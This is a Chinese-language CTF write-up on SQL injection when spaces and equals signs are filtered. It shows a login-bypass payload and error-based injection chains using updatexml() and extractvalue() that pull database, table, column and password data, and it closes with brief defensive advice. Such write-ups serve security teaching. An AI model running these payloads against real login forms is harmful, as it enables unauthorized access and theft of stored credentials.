当空格和等号都被过滤突破SQL注入限制的实战指南登录页面显示这群该死的黑客竟然如此厉害看来管理员已经对常见注入方式做了严格防护。但安全防护从来不是铁板一块今天我们就来破解这个看似严密的防御系统。1. 注入环境分析与过滤规则探测面对一个未知的注入环境第一步永远是摸清过滤规则。在本次挑战中我们注意到几个关键特征基础测试1 or 11被拦截说明存在关键词过滤使用admin 1 or测试时发现空格字符被过滤等号()同样出现在黑名单中通过系统化的fuzz测试我们整理出完整的过滤清单被过滤字符/关键词替代方案空格使用括号()包裹使用like操作符--使用#注释/**/使用括号分隔union尝试报错注入by调整查询结构关键发现like操作符和括号()未被过滤这将成为我们的突破口。2. 基础绕过技术重构查询语句当传统注入方式失效时我们需要重新构建查询逻辑。以下是重构后的万能密码方案1or((1)like(1))#这个语句的精妙之处在于用括号()替代空格分隔语句成分用like操作符替代被过滤的等号#作为注释符确保语句完整执行实际操作中我们发现这种构造成功绕过了过滤机制返回了正常登录响应。但作为安全研究者我们不应止步于简单登录而要深入挖掘数据。3. 进阶注入报错注入技术详解当联合注入和堆叠注入都被封堵时报错注入往往能打开新局面。MySQL提供了两个基于XML的报错函数updatexml()用于查询和修改XML文档extractvalue()用于查询XML文档它们的共同特点是当XPath格式错误时会返回包含错误信息的报错消息——这正是我们需要的。3.1 updatexml()实战应用让我们从获取数据库名称开始1or(updatexml(1,concat(0x7e,database(),0x7e),1))#这段代码中0x7e是波浪号(~)的十六进制用于标记输出concat()函数组合错误信息括号确保绕过空格限制成功执行后我们获得了数据库名geek。接下来获取表名1or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#这里需要注意用like替代等号比较用括号包裹所有可能包含空格的子句group_concat()合并多行结果3.2 处理输出长度限制报错注入的一个限制是输出长度通常32字符。解决方案是使用字符串截取函数1or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#这里right()函数从右侧截取25个字符配合前段查询结果最终拼接出完整flag。4. 替代方案extractvalue()的巧妙应用除了updatexmlextractvalue同样有效且语法相似。有趣的是我们可以用异或操作符^绕过or限制1^extractvalue(1,concat(0x7e,(select(database()))))#这种方法与括号绕过的区别在于^优先级高于or改变语句执行顺序不需要依赖like操作符在某些过滤规则下可能更有效完整的数据提取流程如下1^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(geek))))# 1^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1))))# 1^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#5. 防御视角从攻击中学习防护完成挑战后我们不妨从防御者角度思考如何加固系统参数化查询使用预编译语句彻底杜绝注入多层过滤不仅过滤关键词还要检测异常语法结构错误处理自定义错误信息避免泄露系统细节最小权限数据库账户仅授予必要权限在真实环境中这些技术组合使用才能构建有效防护。CTF题目往往只展示特定场景而实际防御需要全面考量。